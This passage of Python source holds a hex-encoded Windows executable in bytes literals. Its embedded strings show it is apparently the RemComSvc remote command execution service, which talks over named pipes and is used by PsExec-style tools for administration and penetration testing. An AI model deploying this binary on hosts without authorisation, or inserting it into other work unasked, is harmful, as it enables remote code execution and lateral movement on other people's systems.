+b'ffff7f77348d443f083d000400007713e82c1500008bc43bc3741cc700cccc0000eb11' \
+b'50e8e6e0ffff593bc37409c700dddd000083c0088bd885db74698d043f506a0053e818' \
+b'93ffff83c40c5753ff7510ff750c6a01ff7518ffd685c07411ff75145053ff7508ff15' \
+b'5cb140008945f853e8d8fdffff8b45f859eb7533f6395d1c75088b078b401489451c39' \
+b'5d1875088b078b4004894518ff751ce8e31400005983f8ff750433c0eb473b4518741e' \
+b'53538d4d1051ff750c50ff7518e80b1500008bf083c4183bf374dc89750cff7514ff75' \
+b'10ff750cff7508ff751cff1554b140008bf83bf3740756e85aa4ffff598bc78d65ec5f' \
+b'5e5b8b4dfc33cde84a8fffffc9c38bff558bec83ec10ff75088d4df0e881a9ffffff75' \
+b'248d4df0ff7520ff751cff7518ff7514ff7510ff750ce816feffff83c41c807dfc0074' \
+b'078b4df8836170fdc9c3cccccccccccccccccccccccc558bec5633c050505050505050' \
+b'508b550c8d49008a020ac0740983c2010fab0424ebf18b75088bff8a060ac0740c83c6' \
+b'010fa3042473f18d46ff83c4205ec9c38bff558bec83ec14a100e0400033c58945fc53' \
+b'5633db578bf1391de0fb40007538535333ff47576834c44000680001000053ff1564b1' \
+b'400085c07408893de0fb4000eb15ff1580b0400083f878750ac705e0fb400002000000' \
+b'395d147e228b4d148b45104938187408403bcb75f683c9ff8b45142bc1483b45147d01' \
+b'40894514a1e0fb400083f8020f84ac0100003bc30f84a401000083f8010f85cc010000' \
+b'895df8395d2075088b068b40048945208b3558b1400033c0395d245353ff75140f95c0' \
+b'ff75108d04c50100000050ff7520ffd68bf83bfb0f848f0100007e436ae033d258f7f7' \
+b'83f80272378d443f083d000400007713e8b61200008bc43bc3741cc700cccc0000eb11' \
+b'50e870deffff593bc37409c700dddd000083c0088945f4eb03895df4395df40f843e01' \
+b'000057ff75f4ff7514ff75106a01ff7520ffd685c00f84e30000008b3564b140005353' \
+b'57ff75f4ff750cff7508ffd68bc8894df83bcb0f84c2000000f7450c00040000742939' \
+b'5d1c0f84b00000003b4d1c0f8fa7000000ff751cff751857ff75f4ff750cff7508ffd6' \
+b'e9900000003bcb7e456ae033d258f7f183f80272398d4409083d000400007716e8f711' \
+b'00008bf43bf3746ac706cccc000083c608eb1a50e8aeddffff593bc37409c700dddd00' \
+b'0083c0088bf0eb0233f63bf37441ff75f85657ff75f4ff750cff7508ff1564b1400085' \
+b'c074225353395d1c75045353eb06ff751cff7518ff75f85653ff7520ff15f0b0400089' \
+b'45f856e895faffff59ff75f4e88cfaffff8b45f859e959010000895df4895df0395d08' \
+b'75088b068b4014894508395d2075088b068b4004894520ff7508e890110000598945ec' \
+b'83f8ff750733c0e9210100003b45200f84db00000053538d4d1451ff751050ff7520e8' \
+b'ae11000083c4188945f43bc374d48b3560b140005353ff751450ff750cff7508ffd689' \
+b'45f83bc3750733f6e9b70000007e3d83f8e0773883c0083d000400007716e8e1100000' \
+b'8bfc3bfb74ddc707cccc000083c708eb1a50e898dcffff593bc37409c700dddd000083' \
+b'c0088bf8eb0233ff3bfb74b4ff75f85357e8c88effff83c40cff75f857ff7514ff75f4' \
+b'ff750cff7508ffd68945f83bc3750433f6eb25ff751c8d45f8ff75185057ff7520ff75' \
+b'ece8fd1000008bf08975f083c418f7de1bf62375f857e86af9ffff59eb1aff751cff75' \
+b'18ff7514ff7510ff750cff7508ff1560b140008bf0395df47409ff75f4e83aa0ffff59' \
+b'8b45f03bc3740c394518740750e827a0ffff598bc68d65e05f5e5b8b4dfc33cde8178b' \
+b'ffffc9c38bff558bec83ec10ff75088d4df0e84ea5ffffff75288d4df0ff7524ff7520' \
+b'ff751cff7518ff7514ff7510ff750ce828fcffff83c420807dfc0074078b4df8836170' \
+b'fdc9c36a106828c84000e8429dffff33c08b5d0833ff3bdf0f95c03bc7751de8639fff' \
+b'ffc700160000005757575757e840a2ffff83c41483c8ffeb53833dbcfc40000375386a' \
+b'04e829c0ffff59897dfc53e82ed0ffff598945e03bc7740b8b73fc83ee098975e4eb03' \
+b'8b75e4c745fcfeffffffe825000000397de075105357ff35fcf94000ff1568b140008b' \
+b'f08bc6e8029dffffc333ff8b5d088b75e46a04e8f7beffff59c36a02e83998ffff59c3' \
+b'8bff558bec81ec28030000a100e0400033c58945fcf605a0ed4000015674086a0ae868' \
+b'b4ffff59e8d3cbffff85c074086a16e8d5cbffff59f605a0ed4000020f84ca00000089' \
+b'85e0fdffff898ddcfdffff8995d8fdffff899dd4fdffff89b5d0fdffff89bdccfdffff' \
+b'668c95f8fdffff668c8decfdffff668c9dc8fdffff668c85c4fdffff668ca5c0fdffff' \
+b'668cadbcfdffff9c8f85f0fdffff8b75048d45048985f4fdffffc78530fdffff010001' \
+b'0089b5e8fdffff8b40fc6a508985e4fdffff8d85d8fcffff6a0050e86b8cffff8d85d8' \
+b'fcffff83c40c898528fdffff8d8530fdffff6a00c785d8fcffff1500004089b5e4fcff' \
+b'ff89852cfdffffff15a0b040008d8528fdffff50ff159cb040006a03e8a799ffffcccc' \
+b'cccc558bec535657556a006a0068788f4000ff7508e8461400005d5f5e5b8be55dc38b' \
+b'4c2404f7410406000000b80100000074328b4424148b48fc33c8e8ca88ffff558b6810' \
+b'8b5028528b502452e81400000083c4085d8b4424088b5424108902b803000000c35356' \
+b'578b44241055506afe68808f400064ff3500000000a100e0400033c4508d44240464a3' \
+b'000000008b4424288b58088b700c83feff743a837c242cff74063b74242c762d8d3476' \
+b'8b0cb3894c240c89480c837cb30400751768010100008b44b308e8490000008b44b308' \
+b'e85f000000ebb78b4c240464890d0000000083c4185f5e5bc333c0648b0d0000000081' \
+b'7904808f400075108b510c8b520c3951087505b801000000c35351bba4ed4000eb0b53' \
+b'51bba4ed40008b4c240c894b08894304896b0c55515058595d595bc20400ffd0c3cccc' \
+b'cccccccccccccc558bec57568b750c8b4d108b7d088bc18bd103c63bfe76083bf80f82' \
+b'a401000081f900010000721f833de0fd4000007416575683e70f83e60f3bfe5e5f7508' \
+b'5e5f5de98d0b0000f7c7030000007515c1e90283e20383f908722af3a5ff2495149240' \
+b'00908bc7ba0300000083e904720c83e00303c8ff248528914000ff248d2492400090ff' \
+b'248da89140009038914000649140008891400023d18a0688078a46018847018a4602c1' \
+b'e90288470283c60383c70383f90872ccf3a5ff2495149240008d490023d18a0688078a' \
+b'4601c1e90288470183c60283c70283f90872a6f3a5ff2495149240009023d18a068807' \
+b'83c601c1e90283c70183f9087288f3a5ff2495149240008d49000b924000f8914000f0' \
+b'914000e8914000e0914000d8914000d0914000c89140008b448ee489448fe48b448ee8' \
+b'89448fe88b448eec89448fec8b448ef089448ff08b448ef489448ff48b448ef889448f' \
+b'f88b448efc89448ffc8d048d0000000003f003f8ff2495149240008bff249240002c92' \
+b'4000389240004c9240008b45085e5fc9c3908a0688078b45085e5fc9c3908a0688078a' \
+b'46018847018b45085e5fc9c38d49008a0688078a46018847018a46028847028b45085e' \
+b'5fc9c3908d7431fc8d7c39fcf7c7030000007524c1e90283e20383f908720dfdf3a5fc' \
+b'ff2495b09340008bfff7d9ff248d609340008d49008bc7ba0300000083f904720c83e0' \
+b'032bc8ff2485b4924000ff248db093400090c4924000e8924000109340008a460323d1' \
+b'88470383ee01c1e90283ef0183f90872b2fdf3a5fcff2495b09340008d49008a460323' \
+b'd18847038a4602c1e90288470283ee0283ef0283f9087288fdf3a5fcff2495b0934000' \
+b'908a460323d18847038a46028847028a4601c1e90288470183ee0383ef0383f9080f82' \
+b'56fffffffdf3a5fcff2495b09340008d4900649340006c934000749340007c93400084' \
+b'9340008c93400094934000a79340008b448e1c89448f1c8b448e1889448f188b448e14' \
+b'89448f148b448e1089448f108b448e0c89448f0c8b448e0889448f088b448e0489448f' \
+b'048d048d0000000003f003f8ff2495b09340008bffc0934000c8934000d8934000ec93' \
+b'40008b45085e5fc9c3908a46038847038b45085e5fc9c38d49008a46038847038a4602' \
+b'8847028b45085e5fc9c3908a46038847038a46028847028a46018847018b45085e5fc9' \
+b'c38bff558bec53568b75085733ff83cbff3bf7751ce80099ffff5757575757c7001600' \
+b'0000e8dd9bffff83c4140bc3eb42f6460c83743756e88fd9ffff568bd8e8770d000056' \
+b'e878dbffff50e89e0c000083c41085c07d0583cbffeb118b461c3bc7740a50e8f998ff' \
+b'ff59897e1c897e0c8bc35f5e5b5dc36a0c6848c84000e86096ffff834de4ff33c08b75' \
+b'0833ff3bf70f95c03bc7751de87d98ffffc700160000005757575757e85a9bffff83c4' \
+b'1483c8ffeb0cf6460c40740c897e0c8b45e4e86396ffffc356e8379cffff59897dfc56' \
+b'e82affffff598945e4c745fcfeffffffe805000000ebd58b750856e8859cffff59c36a' \
+b'106868c84000e8e495ffff8b450883f8fe7513e80d98ffffc7000900000083c8ffe9aa' \
+b'00000033db3bc37c083b05c0fc4000721ae8ec97ffffc700090000005353535353e8c9' \
+b'9affff83c414ebd08bc8c1f9058d3c8de0fc40008bf083e61fc1e6068b0f0fbe4c0e04' \
+b'83e10174c650e8c303000059895dfc8b07f6440604017431ff7508e8370300005950ff' \
+b'156cb1400085c0750bff1580b040008945e4eb03895de4395de47419e88b97ffff8b4d' \
+b'e48908e86e97ffffc70009000000834de4ffc745fcfeffffffe8090000008b45e4e85f' \
+b'95ffffc3ff7508e8f903000059c38bff558bec83ec145657ff75088d4dece8c89cffff' \
+b'8b45108b750c33ff3bc7740289303bf7752ce81997ffff5757575757c70016000000e8' \
+b'f699ffff83c414807df80074078b45f4836070fd33c0e9d8010000397d14740c837d14' \
+b'027cc9837d14247fc38b4dec538a1e897dfc8d7e0183b9ac000000017e178d45ec500f' \
+b'b6c36a0850e83e0900008b4dec83c40ceb108b91c80000000fb6c30fb7044283e00885' \
+b'c074058a1f47ebc780fb2d7506834d1802eb0580fb2b75038a1f478b451485c00f8c4b' \
+b'01000083f8010f844201000083f8240f8f3901000085c0752a80fb307409c745140a00' \
+b'0000eb348a073c78740d3c587409c7451408000000eb21c7451410000000eb0a83f810' \
+b'751380fb30750e8a073c7874043c587504478a1f478bb1c8000000b8ffffffff33d2f7' \
+b'75140fb6cb0fb70c4ef6c10474080fbecb83e930eb1bf7c10301000074318acb80e961' \
+b'80f9190fbecb770383e92083c1c93b4d147319834d18083945fc722775043bca762183' \
+b'4d1804837d100075238b45184fa8087520837d100074038b7d0c8365fc00eb5b8b5dfc' \
+b'0faf5d1403d9895dfc8a1f47eb8bbeffffff7fa804751ba801753d83e0027409817dfc' \
+b'00000080770985c0752b3975fc7626e87895fffff6451801c700220000007406834dfc' \
+b'ffeb0ff64518026a00580f95c003c68945fc8b451085c074028938f64518027403f75d' \
+b'fc807df80074078b45f4836070fd8b45fceb188b451085c074028930807df80074078b' \
+b'45f4836070fd33c05b5f5ec9c38bff558bec33c050ff7510ff750cff7508390550fb40' \
+b'0075076838e74000eb0150e8abfdffff83c4145dc38bff558bec8b4d085333db3bcb56' \
+b'577c5b3b0dc0fc400073538bc1c1f8058bf18d3c85e0fc40008b0783e61fc1e60603c6' \
+b'f640040174358338ff7430833d10e0400001751d2bcb7410497408497513536af4eb08' \
+b'536af5eb03536af6ff1570b140008b07830c06ff33c0eb15e87a94ffffc70009000000' \
+b'e88294ffff891883c8ff5f5e5b5dc38bff558bec8b450883f8fe7518e86694ffff8320' \
+b'00e84b94ffffc7000900000083c8ff5dc35633f63bc67c223b05c0fc4000731a8bc883' \
+b'e01fc1f9058b0c8de0fc4000c1e00603c1f64004017524e82594ffff8930e80b94ffff' \
+b'5656565656c70009000000e8e896ffff83c41483c8ffeb028b005e5dc36a0c6888c840' \
+b'00e8ac91ffff8b7d088bc7c1f8058bf783e61fc1e606033485e0fc4000c745e4010000' \
+b'0033db395e0875366a0ae8a4b4ffff59895dfc395e08751a68a00f00008d460c50e8b0' \
+b'c2ffff595985c07503895de4ff4608c745fcfeffffffe830000000395de4741d8bc7c1' \
+b'f80583e71fc1e7068b0485e0fc40008d44380c50ff15d4b040008b45e4e86c91ffffc3' \
+b'33db8b7d086a0ae864b3ffff59c38bff558bec8b45088bc883e01fc1f9058b0c8de0fc' \
+b'4000c1e0068d44010c50ff15d8b040005dc38bff558bec83ec10a100e0400033c58945' \
+b'fc5633f63935c0ed4000744f833d84ee4000fe7505e8cf070000a184ee400083f8ff75' \
+b'07b8ffff0000eb70568d4df0516a018d4d085150ff157cb1400085c07567833dc0ed40' \
+b'000275daff1580b0400083f87875cf8935c0ed400056566a058d45f4506a018d450850' \
+b'56ff1578b1400050ff15f0b040008b0d84ee400083f9ff74a2568d55f052508d45f450' \
+b'51ff1574b1400085c0748d668b45088b4dfc33cd5ee8bc7dffffc9c3c705c0ed400001' \
+b'000000ebe38bff558bec83ec1053568b750c33db3bf37415395d107410381e75128b45' \
+b'083bc3740533c966890833c05e5bc9c3ff75148d4df0e8c197ffff8b45f0395814751f' \
+b'8b45083bc37407660fb60e668908385dfc74078b45f8836070fd33c040ebca8d45f050' \
+b'0fb60650e8ebd6ffff595985c0747d8b45f08b88ac00000083f9017e25394d107c2033' \
+b'd2395d080f95c252ff750851566a09ff7004ff1558b1400085c08b45f075108b4d103b' \
+b'88ac0000007220385e01741b8b80ac000000385dfc0f8465ffffff8b4df8836170fde9' \
+b'59ffffffe88c91ffffc7002a000000385dfc74078b45f8836070fd83c8ffe93affffff' \
+b'33c0395d080f95c050ff75088b45f06a01566a09ff7004ff1558b1400085c00f853aff' \
+b'ffffebba8bff558bec6a00ff7510ff750cff7508e8d4feffff83c4105dc3558bec83ec' \
+b'08897dfc8975f88b750c8b7d088b4d10c1e907eb068d9b00000000660f6f06660f6f4e' \
+b'10660f6f5620660f6f5e30660f7f07660f7f4f10660f7f5720660f7f5f30660f6f6640' \
+b'660f6f6e50660f6f7660660f6f7e70660f7f6740660f7f6f50660f7f7760660f7f7f70' \
+b'8db6800000008dbf800000004975a38b75f88b7dfc8be55dc3558bec83ec1c897df489' \
+b'75f8895dfc8b5d0c8bc3998bc88b450833ca2bca83e10f33ca2bca998bf833fa2bfa83' \
+b'e70f33fa2bfa8bd10bd7754a8b75108bce83e17f894de83bf174132bf1565350e827ff' \
+b'ffff83c40c8b45088b4de885c974778b5d108b550c03d32bd18955ec03d82bd9895df0' \
+b'8b75ec8b7df08b4de8f3a48b4508eb533bcf7535f7d983c110894de48b750c8b7d088b' \
+b'4de4f3a48b4d08034de48b550c0355e48b45102b45e4505251e84cffffff83c40c8b45' \
+b'08eb1a8b750c8b7d088b4d108bd1c1e902f3a58bca83e103f3a48b45088b5dfc8b75f8' \
+b'8b7df48be55dc3cccccccccccccccccc518d4c24082bc883e10f03c11bc90bc159e98a' \
+b'7effff518d4c24082bc883e10703c11bc90bc159e9747effff8bff558bec6a0a6a00ff' \
+b'7508e86bfaffff83c40c5dc38bff558bec83ec0ca100e0400033c58945fc6a068d45f4' \
+b'506804100000ff7508c645fa00ff1550b1400085c0750583c8ffeb0a8d45f450e8aeff' \
+b'ffff598b4dfc33cde8817affffc9c38bff558bec83ec34a100e0400033c58945fc8b45' \
+b'108b4d188945d88b4514538945d08b00568945dc8b45085733ff894dcc897de0897dd4' \
+b'3b450c0f845f0100008b351cb140008d4de85150ffd68b1d58b1400085c0745e837de8' \
+b'0175588d45e850ff750cffd685c0744b837de80175458b75dcc745d40100000083feff' \
+b'750cff75d8e88ed1ffff8bf059463bf77e5b81fef0ffff7f77538d4436083d00040000' \
+b'772fe8cefeffff8bc43bc77438c700cccc0000eb2d5757ff75dcff75d86a01ff7508ff' \
+b'd38bf03bf775c333c0e9d100000050e86ccaffff593bc77409c700dddd000083c00889' \
+b'45e4eb03897de4397de474d88d04365057ff75e4e8967cffff83c40c56ff75e4ff75dc' \
+b'ff75d86a01ff7508ffd385c0747f8b5dcc3bdf741d5757ff751c5356ff75e457ff750c' \
+b'ff15f0b0400085c07460895de0eb5b8b1df0b04000397dd475145757575756ff75e457' \
+b'ff750cffd38bf03bf7743c566a01e8ed8effff59598945e03bc7742b5757565056ff75' \
+b'e457ff750cffd33bc7750eff75e0e8f78dffff59897de0eb0b837ddcff74058b4dd089' \
+b'01ff75e4e8e4e6ffff598b45e08d65c05f5e5b8b4dfc33cde8cd78ffffc9c38bff558b' \
+b'ec83ec1853ff75108d4de8e80393ffff8b5d088d43013d00010000770f8b45e88b80c8' \
+b'0000000fb70458eb75895d08c17d08088d45e8508b450825ff00000050e82cd2ffff59' \
+b'5985c074128a45086a028845f8885df9c645fa0059eb0a33c9885df8c645f900418b45' \
+b'e86a01ff7014ff70048d45fc50518d45f8508d45e86a0150e8f9e8ffff83c42085c075' \
+b'103845f474078b45f0836070fd33c0eb140fb745fc23450c807df40074078b4df08361' \
+b'70fd5bc9c38bff558bec568b75085756e852f8ffff5983f8ff7450a1e0fc400083fe01' \
+b'7509f6808400000001750b83fe02751cf640440174166a02e827f8ffff6a018bf8e81e' \
+b'f8ffff59593bc7741c56e812f8ffff5950ff1574b0400085c0750aff1580b040008bf8' \
+b'eb0233ff56e86ef7ffff8bc6c1f8058b0485e0fc400083e61fc1e60659c64430040085' \
+b'ff740c57e85d8cffff5983c8ffeb0233c05f5e5dc36a1068a8c84000e8e989ffff8b45' \
+b'0883f8fe751be8258cffff832000e80a8cffffc7000900000083c8ffe98e00000033ff' \
+b'3bc77c083b05c0fc40007221e8fc8bffff8938e8e28bffffc700090000005757575757' \
+b'e8bf8effff83c414ebc98bc8c1f9058d1c8de0fc40008bf083e61fc1e6068b0b0fbe4c' \
+b'310483e10174bf50e8b9f7ffff59897dfc8b03f644300401740eff7508e8cbfeffff59' \
+b'8945e4eb0fe8878bffffc70009000000834de4ffc745fcfeffffffe8090000008b45e4' \
+b'e87889ffffc3ff7508e812f8ffff59c38bff558bec568b75088b460ca883741ea80874' \
+b'1aff7608e88b8bffff81660cf7fbffff33c05989068946088946045e5dc333c050506a' \
+b'03506a0368000000406878c44000ff1580b14000a384ee4000c3a184ee4000568b3574' \
+b'b0400083f8ff740883f8fe740350ffd6a180ee400083f8ff740883f8fe740350ffd65e' \
+b'c3cccccc558bec5756538b4d100bc9744d8b75088b7d0cb741b35ab6208d49008a260a' \
+b'e48a0774270ac0742383c60183c7013ae772063ae3770202e63ac772063ac3770202c6' \
+b'3ae0750b83e90175d133c93ae07409b9ffffffff7202f7d98bc15b5e5fc9c3cccccccc' \
+b'cccccccccccccccccccccc8b4424088b4c24100bc88b4c240c75098b442404f7e1c210' \
+b'0053f7e18bd88b442408f764241403d88b442408f7e103d35bc21000cccccccccccccc' \
+b'cccccccccc8d42ff5bc38da424000000008d64240033c08a442408538bd8c1e0088b54' \
+b'2408f7c20300000074158a0a83c2013acb74cf84c97451f7c20300000075eb0bd8578b' \
+b'c3c1e310560bd88b0abffffefe7e8bc18bf733cb03f003f983f1ff83f0ff33cf33c683' \
+b'c20481e100010181751c250001018174d32500010101750881e60000008075c45e5f5b' \
+b'33c0c38b42fc3ac3743684c074ef3ae3742784e474e7c1e8103ac3741584c074dc3ae3' \
+b'740684e474d4eb965e5f8d42ff5bc38d42fe5e5f5bc38d42fd5e5f5bc38d42fc5e5f5b' \
+b'c3ff2534b1400000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000c6cc00' \
+b'00a8cc00008acc000076cc000060cc000044cc000038cc00002ecc00001ccc00000ccc' \
+b'0000f6cb0000e6cb0000d2cb0000e2cc00000000000094cb00007ecb0000accb000066' \
+b'cb000054cb00003ecb000028cb000014cb000000cb0000f0ca0000daca0000ccca0000' \
+b'beca0000b2ca0000a4ca000098ca0000a0cb000088ca000010cd00001ecd00002ecd00' \
+b'003ecd000050cd000064cd000078cd000094cd0000b2cd0000c6cd0000dacd0000eccd' \
+b'0000facd000006ce000014ce00001ece00002ece000044ce00004cce00005ace000066' \
+b'ce00007ece000096ce0000a6ce0000bcce0000d6ce0000eece000008cf00001ecf0000' \
+b'38cf00004acf000058cf00006acf000082cf000090cf00009ecf0000b8cf0000c8cf00' \
+b'00e2cf0000eecf0000f8cf000004d0000016d0000026d000004ed000005ad0000066d0' \
+b'000076d0000084d0000096d00000a6d00000b8d00000cad00000dcd00000f2d0000004' \
+b'd1000014d1000024d1000030d1000044d1000054d1000064d100007ad100008ad10000' \
+b'0000000000000000000000000000000037304000774240002958400001594000c64240' \
+b'00000000000000000010a24000e8304000000000000000000000000000000000005265' \
+b'6d436f6d53766300000053657276696365004120736572766963652043616e6e6f7420' \
+b'62652073746172746564206469726563746c792e0a000052656d436f6d5f7374646572' \
+b'7200000052656d436f6d5f737464696e000000005c5c2e5c706970655c257325732564' \
+b'0052656d436f6d5f7374646f7574000000257300005c5c2e5c706970655c52656d436f' \
+b'6d5f636f6d6d756e696361746f6e0000000058f24000b0f24000456e636f6465506f69' \
+b'6e7465720000004b00450052004e0045004c00330032002e0044004c004c0000000000' \
+b'4465636f6465506f696e746572000000466c734672656500466c7353657456616c7565' \
+b'00466c7347657456616c756500466c73416c6c6f6300000000436f724578697450726f' \
+b'6365737300006d00730063006f007200650065002e0064006c006c000000050000c00b' \
+b'000000000000001d0000c00400000000000000960000c004000000000000008d0000c0' \
+b'08000000000000008e0000c008000000000000008f0000c00800000000000000900000' \
+b'c00800000000000000910000c00800000000000000920000c008000000000000009300' \
+b'00c0080000000000000028006e0075006c006c00290000000000286e756c6c29000006' \
+b'0000060001000010000306000602100445454505050505053530005000000000282038' \
+b'5058070800373030575007000020200800000000086068606060600000787078787878' \
+b'08070800000700080808000008000800070800000072756e74696d65206572726f7220' \
+b'00000d0a0000544c4f5353206572726f720d0a00000053494e47206572726f720d0a00' \
+b'000000444f4d41494e206572726f720d0a000052363033340d0a416e206170706c6963' \
+b'6174696f6e20686173206d61646520616e20617474656d707420746f206c6f61642074' \
+b'686520432072756e74696d65206c69627261727920696e636f72726563746c792e0a50' \
+b'6c6561736520636f6e7461637420746865206170706c69636174696f6e277320737570' \
+b'706f7274207465616d20666f72206d6f726520696e666f726d6174696f6e2e0d0a0000' \
+b'0000000052363033330d0a2d20417474656d707420746f20757365204d53494c20636f' \
+b'64652066726f6d207468697320617373656d626c7920647572696e67206e6174697665' \
+b'20636f646520696e697469616c697a6174696f6e0a5468697320696e64696361746573' \
+b'20612062756720696e20796f7572206170706c69636174696f6e2e204974206973206d' \
+b'6f7374206c696b656c792074686520726573756c74206f662063616c6c696e6720616e' \
+b'204d53494c2d636f6d70696c656420282f636c72292066756e6374696f6e2066726f6d' \
+b'2061206e617469766520636f6e7374727563746f72206f722066726f6d20446c6c4d61' \
+b'696e2e0d0a000052363033320d0a2d206e6f7420656e6f75676820737061636520666f' \
+b'72206c6f63616c6520696e666f726d6174696f6e0d0a00000000000052363033310d0a' \
+b'2d20417474656d707420746f20696e697469616c697a652074686520435254206d6f72' \
+b'65207468616e206f6e63652e0a5468697320696e646963617465732061206275672069' \
+b'6e20796f7572206170706c69636174696f6e2e0d0a000052363033300d0a2d20435254' \
+b'206e6f7420696e697469616c697a65640d0a000052363032380d0a2d20756e61626c65' \
+b'20746f20696e697469616c697a6520686561700d0a0000000052363032370d0a2d206e' \
+b'6f7420656e6f75676820737061636520666f72206c6f77696f20696e697469616c697a' \
+b'6174696f6e0d0a0000000052363032360d0a2d206e6f7420656e6f7567682073706163' \
+b'6520666f7220737464696f20696e697469616c697a6174696f6e0d0a00000000523630' \
+b'32350d0a2d2070757265207669727475616c2066756e6374696f6e2063616c6c0d0a00' \
+b'000052363032340d0a2d206e6f7420656e6f75676820737061636520666f72205f6f6e' \
+b'657869742f617465786974207461626c650d0a0000000052363031390d0a2d20756e61' \
+b'626c6520746f206f70656e20636f6e736f6c65206465766963650d0a00000000523630' \
+b'31380d0a2d20756e65787065637465642068656170206572726f720d0a000000005236' \
+b'3031370d0a2d20756e6578706563746564206d756c7469746872656164206c6f636b20' \
+b'6572726f720d0a0000000052363031360d0a2d206e6f7420656e6f7567682073706163' \
+b'6520666f722074687265616420646174610d0a000d0a54686973206170706c69636174' \
+b'696f6e2068617320726571756573746564207468652052756e74696d6520746f207465' \
+b'726d696e61746520697420696e20616e20756e757375616c207761792e0a506c656173' \
+b'6520636f6e7461637420746865206170706c69636174696f6e277320737570706f7274' \
+b'207465616d20666f72206d6f726520696e666f726d6174696f6e2e0d0a000000523630' \
+b'30390d0a2d206e6f7420656e6f75676820737061636520666f7220656e7669726f6e6d' \
+b'656e740d0a0052363030380d0a2d206e6f7420656e6f75676820737061636520666f72' \
+b'20617267756d656e74730d0a00000052363030320d0a2d20666c6f6174696e6720706f' \
+b'696e7420737570706f7274206e6f74206c6f616465640d0a000000004d6963726f736f' \
+b'66742056697375616c20432b2b2052756e74696d65204c696272617279000000000a0a' \
+b'00002e2e2e003c70726f6772616d206e616d6520756e6b6e6f776e3e000052756e7469' \
+b'6d65204572726f72210a0a50726f6772616d3a20000000000000000102030405060708' \
+b'090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b' \
+b'2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e' \
+b'4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f7071' \
+b'72737475767778797a7b7c7d7e7f000680808680818000001003868086828014050545' \
+b'4545858585050000303080508088000800282738505780000700373030505088000000' \
+b'2028808880800000006068606868680808077870707770700808000008000800070800' \
+b'000047657450726f6365737357696e646f7753746174696f6e00476574557365724f62' \
+b'6a656374496e666f726d6174696f6e410000004765744c617374416374697665506f70' \
+b'7570000047657441637469766557696e646f77004d657373616765426f784100555345' \
+b'5233322e444c4c00000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000002000200020002000200020' \
+b'0020002000200028002800280028002800200020002000200020002000200020002000' \
+b'2000200020002000200020002000200020004800100010001000100010001000100010' \
+b'0010001000100010001000100010008400840084008400840084008400840084008400' \
+b'1000100010001000100010001000810081008100810081008100010001000100010001' \
+b'0001000100010001000100010001000100010001000100010001000100010010001000' \
+b'1000100010001000820082008200820082008200020002000200020002000200020002' \
+b'0002000200020002000200020002000200020002000200020010001000100010002000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000020002000200020002000200020002000200068002800' \
+b'2800280028002000200020002000200020002000200020002000200020002000200020' \
+b'0020002000200048001000100010001000100010001000100010001000100010001000' \
+b'1000100084008400840084008400840084008400840084001000100010001000100010' \
+b'0010008101810181018101810181010101010101010101010101010101010101010101' \
+b'0101010101010101010101010101010101010101100010001000100010001000820182' \
+b'0182018201820182010201020102010201020102010201020102010201020102010201' \
+b'0201020102010201020102010201100010001000100020002000200020002000200020' \
+b'0020002000200020002000200020002000200020002000200020002000200020002000' \
+b'2000200020002000200020002000200020004800100010001000100010001000100010' \
+b'0010001000100010001000100010001000100014001400100010001000100010001400' \
+b'1000100010001000100010000101010101010101010101010101010101010101010101' \
+b'0101010101010101010101010101010101010101010101100001010101010101010101' \
+b'0101010102010201020102010201020102010201020102010201020102010201020102' \
+b'0102010201020102010201020102010201100002010201020102010201020102010201' \
+b'010100000000808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c' \
+b'9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf' \
+b'c0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2' \
+b'e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff000102030405' \
+b'060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728' \
+b'292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f406162636465666768696a6b' \
+b'6c6d6e6f707172737475767778797a5b5c5d5e5f606162636465666768696a6b6c6d6e' \
+b'6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f9091' \
+b'92939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4' \
+b'b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7' \
+b'd8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fa' \
+b'fbfcfdfeff808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d' \
+b'9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0' \
+b'c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3' \
+b'e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff00010203040506' \
+b'0708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f20212223242526272829' \
+b'2a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c' \
+b'4d4e4f505152535455565758595a5b5c5d5e5f604142434445464748494a4b4c4d4e4f' \
